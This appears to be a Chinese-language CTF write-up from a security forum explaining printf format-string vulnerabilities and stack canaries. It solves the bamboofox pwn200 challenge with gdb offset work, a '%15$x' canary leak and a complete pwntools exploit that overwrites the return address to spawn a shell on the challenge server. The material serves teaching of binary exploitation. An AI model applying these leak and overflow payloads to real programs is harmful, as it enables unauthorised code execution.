漏洞原理
printf 属于可变参数函数,函数调用者可任意指定参数和数量,这也是漏洞产生的原因。
printf()函数的一般形式为:
printf("format", 输出表列)
format参考列表
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
例题源码
#include<stdio.h>
int main(void)
{
char a[100];
scanf("%s",a);
printf(a);
return 1;
编译命令
gcc -m32 -fno-stack-protector -o printf printf.c
会弹出警告
接着我们尝试运行并输入 AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x
我们可以利用gdb看一下输入的地址
我们可以知道数据在堆栈中是如何储存的并且知道输出的第7位是AAAA的ascll码
为了pwn的利用 我们可以只输出指定的地址
这里利用printf函数的一个特性,$操作符
例如我们现在要输出第7位
AAAA%7$x
发现成功输出第七位AAAA的ascll码
在pwn中已经很少出现字符串格式化漏洞的直接的利用了
目前常用用于leak某些函数的地址
GCC Canary保护
要检测对函数栈的破坏,需要修改函数栈的组织,在缓冲区和控制信息(如 EBP 等)间插入一个 canary word。这样,当缓冲区被溢出时,在返回地址被覆盖之前 canary word 会首先被覆盖。通过检查 canary word 的值是否被修改,就可以判断是否发生了溢出攻击。
为了方式发生信息泄露以及其他漏洞的利用 canary使用\x00对值进行截断
所以canary的最低byte位为\x00
在接下来的题目中详细讲解canary保护作用原理以及绕过思路
bamboofox-pwn200
pwn200
这是一道提供了源代码的pwn题,先来查看下
void canary_protect_me(void){
system("/bin/sh");
}
int main(void){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[40];
gets(buf);
printf(buf);//存在格式化漏洞
gets(buf);
return 0;
}
程序提供了shell
检查下程序保护
开启了NX以及Canary保护
载入IDA查看流程
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+14h] [ebp-2Ch]
unsigned int v5; // [esp+3Ch] [ebp-4h]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
gets(&s);
printf(&s);
gets(&s);
return 0;
}
可以对照源代码 发现多出了变量V5 根据上述canary保护解释应该可以理解 这里的V5应该就是canary保护生成的随机参数 我们也可以在汇编代码处看出
因为v5的地址是esp+3Ch 而这里 mov edx,[esp+3ch]就可以知道edx里面存在的就应该是v5的值了
看到这里利用edx中获取的v5的值与large gs:14h进行 xor判断 如果不相等则 call ___stack_chk_fail 退出程序
Canary绕过方式
一般canary有两种利用方式
1.爆破canary
2.如果存在字符串格式化漏洞可以输出canary并利用溢出覆盖canary从而达到绕过
这里我们采用第二种利用
载入程序到gdb
在printf处下断
b printf
尝试运行
这是可在看到我们输入的字符串在堆栈中的位置
尝试打印该地址内存
x/20wx 0xffffd060
可以看到输出AAAA的偏移为5
printf打印出的应该是偏移后的下一位地址
我们再运行程序进行测试输出
AAAA%5$x
发现成功输出
这里需要注意 输出的地址都是十进制数 所以在后面地址的利用时 我们应转为16进制使用 或者直接利用pwntools函数p32或者p64直接进行转换
既然canary
根据canary特性知道 canary也要进行压栈所以canary的值应该会在栈的附近 我们可以在canary赋值给edx之后进行下断,通过edx的值来得到canary的值
我们这xor判断这里下断
b* 0x80485ED
输入C 运行到下一断点位置
查看此时的edx的值
$edx : 0x68496c00
我们可以查看之前printf时的内存地址
发现edx 0x68496c00 的偏移为15,所以可以构造打印出当前的canary的值
%15$x
成功泄露出当前canary
这里需要注意的是 每次程序初始化canary的值都是不一样的所以
我们应该这样去写exp
from pwn import *
p = process('./1')
leak_canary = '%15$x'
p.sendline(leak_canary)
canary = int(p.recv(),16)
print hex(canary)
利用思路
既然可以泄露出canary的值,我们就可以通过gets溢出到canary处然后覆盖我们leak处的canary从而达到绕过canary的目的
计算第一次gets与canary的偏移
因为canary的赋值是从v5而来所以这里计算s与v5的偏移即可
得到偏移为40
所以这里的payload可以写为
payload = 'A'*40+p32(canary)
我们这里的最终目的是为了获取shell
而程序提供了shell
sh = 0x804854D
我们还需溢出第二个gets到ret的位置并且覆盖ret地址为当前sh地址
偏移为当前canary地址到ret地址
依然在xor处下断
b* 0x80485ED
运行到此处计算当前v5的地址(当前esp+0x3c)
得到当前v5的地址
因为这里的canary已经被覆盖
而v5距离ebp为0x4
所以此时只需要计算v5到ebp的偏移即可
得到偏移为12
构造EXP
from pwn import *
#p = process('./1')
p = remote('bamboofox.cs.nctu.edu.tw',22002)
leak_canary = '%15$x'
p.sendline(leak_canary)
canary = int(p.recv(),16)
print hex(canary)
sh = 0x804854D
payload = 'a'*(0x2c-0x4)+p32(canary)+'B'*12+p32(sh)
p.sendline(payload)
p.interactive()
成功获取shell
这里不进行flag获取
小结
通过题目让让大家能了解到如何利用printf leak出函数地址
并且通过printf进行canary绕过
这里也带着大家复习了下gdb的基本操作和栈溢出偏移量的获取
如果有不足希望大家能指出
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2018-6-30 19:29
被iosmosis编辑
,原因: